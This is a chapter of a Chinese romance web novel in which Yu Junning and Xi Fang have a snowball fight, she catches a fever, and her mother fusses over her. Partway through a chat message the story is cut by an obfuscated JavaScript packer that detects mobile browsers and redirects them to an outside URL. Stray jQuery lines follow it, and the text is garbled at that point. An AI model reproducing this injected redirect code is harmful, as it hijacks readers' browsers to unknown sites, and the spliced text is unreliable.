10. 反悔

作品:《反悔

    三人吃完火锅,外面已经下起了大雪。


    也不知下了多久,积雪大概有四五厘米深,行人走在上面发出咯吱声响。


    来的时候是席方开车来,先把付飞送回家里后,仅剩她和席方。


    到了小区后,地上积雪又厚了些许。


    俞君宁下车就“哇”了声。


    席方侧眸看她。


    “我头一次赶上南林上这么大的雪诶,这么看来,房子漏水也不完全是坏事。”


    他不懂,下雪和房子漏水有什么联系。


    他知道她长得很好看,一双柳叶眼弯弯,双眼皮褶皱在此刻近距离观察下,更加明显,视线下移,划过高挺鼻梁,停留在刚刚吃辣锅染色的红唇上。


    视线逐渐失焦。


    俞君宁今天穿了件黑色羽绒服,往后退了一步伸出胳膊,上面停了两片细小雪花,还有一团白棉花。


    “席方你看,两片不一样的雪花!”


    他回过神,看到她袖子上的雪花时,弯唇,“好看。”


    俞君宁撇了撇嘴,“你这夸的毫无诚意。”


    席方是真心请教,“那应该怎么夸。”


    袖子上的雪花已经化掉,俞君宁蹲下身子,找一块干净的地方团成一个小的雪球。


    “你应该说,哇,真的耶!是两片完全不一样的雪花。”


    音落,把手中的雪球砸在他身上,正准备问他要不要打雪仗的时候,猛然间意识到自己越界了。


    她这自来熟的性子,什么时候才能改改。


    嘴唇紧抿,来到他面前,“抱歉啊,我这个人有点儿自来熟,有的时候没有分寸,我先道歉。”


    “没关系。”席方弯唇,“你这样挺好的。”


    许是得到肯定,俞君宁再次笑起来,“那你要不要和你打雪仗?”


    “我没玩过。”


    俞君宁震惊,“你高中、大学的时候,难道没和同学玩过吗?”


    席方摇头。


    “那多没意思啊。”俞君宁再次团一个雪球出来,席方见状,也跟团了一个出来。


    客观讲,很冷很凉。


    他不喜欢。


    手也很快就红了。


    还不等他站起来,俞君宁先砸在他身上一个。


    席方愣住,随后动作很轻地,扔出去一个,堪堪落在她脚尖。


    “你这样玩多没意思啊,你放心砸我,一个雪球而已,你总不能把它攥成铁硬。”


    “俞君宁。”


    “嗯?”


    “我从来没这么放肆过。”


    “我猜到了。”


    席方忽地不出声,俞君宁瞅他,“你刚刚说你从来没有打过雪仗,我就已经猜到你不是很喜欢打雪仗这件事,或者你被家里人惯得比较严格。”


    俞君宁顿了下,她确实见过那些被家里人管的比较严的,就连吃东西都要严格要求。


    “要不然就是,”她忽地笑了,不怀好意,往前跑了几步,“你是个书呆子。”


    “......”


    席方看着她蹲下身子,再次团起一个雪球,随后转过身,路灯明耀,两人虽然有段距离,但或许是俞君宁眼睫太过浓密且长的原因,也或许是她皮肤白的原因,又或许是,他本就能够在俞君宁身上,投放更多的注意力去观察和试探。


    俞君宁眼神很亮,眼睑下方阴影浓密,鼻尖通红,连带着脸颊也被晕染开,还在吸着鼻子。


    他完全没有因为俞君宁说他是书呆子而生气,因为从小到大,几乎身边的每一个人都这么说他。


    包括付飞。


    他不聪明,甚至没有什么学习的技巧和捷径,唯有努力努力再努力,在郑锦的压迫下,才考上大学。


    俞君宁总是说他一本正经,其实不是因为职业病,而是因为他不知道要怎么去开玩笑,怎么去接住别人的玩笑,所以干脆不开。


    “但不论哪一种,只要你现在玩的开心就好了。”


    音落,手中的雪球再次向他砸来。


    席方垂下眉眼,顺势蹲下身子,团了一个无比大的雪球,起身,抬眸,小臂扬起,奋力向前一扔。


    这样也没什么不好。


    他并没有不喜欢,反而觉得很有意思。


    所以,那些他自以为的不喜欢,并不是真的不喜欢。


    等这场打雪仗结束的时候,两人都很狼狈。


    衣服深一块浅一块,后颈处的头发也湿了一部分,双方在电梯里相视一笑。


    回到家,席方煮了姜汤,把俞君宁喊出来的时候,俞君宁皱眉。


    “姜汤?”


    席方嗯了声。


    “你怎么和我妈一样,我妈就很喜欢煮这个。”


    说着,还往后退了一步,“你自己喝吧,我不爱喝,也不会感冒。”


    刚要关上门,就被席方用胳膊挡开。


    俞君宁错愕,席方从未有过这么出格的举动,定定看着他。


    “不爱喝也要喝。”自知刚刚的举动很出格,席方自觉往后退了一步,“不然容易感冒。”


    俞君宁依旧抗拒,“我从小这么玩到大,从来没有感冒过。”


    席方不说话,面无表情瞅着她。


    俞君宁和他对视,两人僵持。


    冗长的安静,唯有外面的车鸣声,以及雪花落下砸到玻璃窗户的清脆声。


    席方不明白为什么俞君宁为什么会这么执着这件事,只知道最终还是他败下阵来,一个人喝了两碗姜汤。


    隔天俞君宁醒来时头有点昏沉,总觉得自己应该不至于感冒,但怕耽误上课进度,还是吃了粒感冒药预防。


    因为课程变动,所以俞君宁决定每周日回去,只是坐车途中觉得脑袋越来越沉,等到了家叶文姝看到她脸色不对,这才意识到自己是发烧了。


    内心叹息一声,真的是不能说。昨晚还和说她经常那么玩也没感冒过,结果这次就应验了。


    还是昨晚信誓旦旦保证自己一定不会的情况下。


    俞君宁本想吃两天药就能挺过去,结果没想到越来越严重,被叶文姝强制拉到医院输液来了。


    每天都无所事事。


    直到周四上午,俞君宁还在输液。


    已经好得差不多了,但是还有些咳嗽,叶文姝让她巩固一下,俞君宁寻思着反正也不差这么一天,就来了。


    席方的消息是上午发过来的。


    席方:【这次在家练了什么?】


    俞君宁:【没练琴。】


    席方:【你没回家?】


    俞君宁:【回了,但是感冒了,一直在输液。】


    说着,还给席方录了个视频


    席方:【......】


    俞君宁甚至不等席方先把消息发过来,先发制人,直接发了条语音,“你别说了,知道自己感冒我也不会和姜汤的,太难喝了。”


    毕竟回家第一晚叶文姝就给她煮了,迫于压力这才喝了半碗,等叶文姝走了直接倒了。


    席方:【那我买点感冒药吧,下次预防着。】


    俞君宁:【别了。】


    席方:【?】


    俞君宁:“等我回去感冒也好了,你买感冒药也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946780|160486||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    用不上,能放过期,什么时候能用上什么时候再买都来得及。”


    俞君宁盯着手机聊天界面,看着上面变成对方正在输入中......


    只是等了许久,等收到消息。


    正准备退出,消息却蹦出来。


    是一个粉色小兔子的表情包,上面写着好。


    俞君宁盯着这个表情包,笑出声。


    点了下屏幕上的兔子,随后把这组表情包都下载下来。


    在看到这组表情包有个可爱的含义时,直接发给席方。


    莫名的,哪怕席方没在面前,俞君宁都会觉得此刻的席方,是脸红的,是羞赧的,是难为情、不好意思的。


    他就像静默而开的含羞草,稍微逗弄一下,就能看出反应。


    “你笑什么呢?”


    做贼心虚似得,俞君宁快速退出微信,抬眸,“您什么时候来的?”


    “在你刚刚对着手机笑的时候。”


    俞君宁轻咳一声,“我是说,你怎么忽然过来了?”


    前几天都还是她一个人在这里输液。


    “想着你输完液就直接走了,把衣服给你。”


    俞君宁出来的时候穿在是留在家里的一个薄款外套,厚的外套放在家里。


    “你把厚的穿走,薄的一会儿我给你带回去。”


    俞君宁点头应下。


    “别跟个孩子一样,下个雪你也能玩起来,还不知道吃个感冒药预防一下。”


    “知道了知道了知道了。”俞君宁敷衍,“这几天您每天都要念叨我一遍。”


    叶文姝重重叹息一声,“你要是不感冒,我也就不念叨你了。”


    俞君宁输完液把厚衣服换上,薄外套让叶文姝带回去,从输液室走到医院门口,还少不了叶文姝一顿唠叨。


    俞君宁也不说话,左耳朵进右耳多出。


    等来到车站,这才对叶文姝说,“您回去吧,把我爸看好了,最近降温,别再住院了。”


    “我知道,你们一个两个的,都这么大人了,心智还跟不成熟的一样。”


    俞君宁轻哼一声,“我们那叫有童心。”


    叶文姝瞥她一眼,“有童心还不让我喊你童童?”


    “......”


    “妈,”俞君宁哀怨,“我都25了。”


    还不等叶文姝说接下来的话,俞君宁又补充,“童童这个名字,听着像幼儿园小朋友的名字。”


    “......你说的都对。”


    在俞君宁听来,这句话就是,我不认可你但是不想和你继续辩论。


    “......”


    叶文姝拿着她衣服离开了。


    俞君宁叹息一声。


    叶文姝果然还是不适应喊她宁宁。


    她生日是六月二号,本来预产期是一号的,结果硬生生拖到凌晨,叶文姝才有反应,等她出来的时候,已经是凌晨十二点二分了。


    本来准备好的小名是叫童童,也并没有因为出生晚了一天而改变。


    直到俞君宁上了大学,叶文姝和俞兆还总是喊她童童,让俞君宁觉得别扭。


    那个时候她觉得自己十八了,是个大人了,童童这个名字,和她的年纪并不相符。


    于是和叶文姝和俞兆说了这件事,当时叶文姝和俞兆还不同意,但是耐不住她坚持又强硬,两人这才改了。


    本以为这么多年两人早就习惯了,却没想到叶文姝还惦记着这件事。


    俞君宁这才后知后觉意识到,让他们改口才几年,而那个她认为幼稚的名字,已经喊了十八年。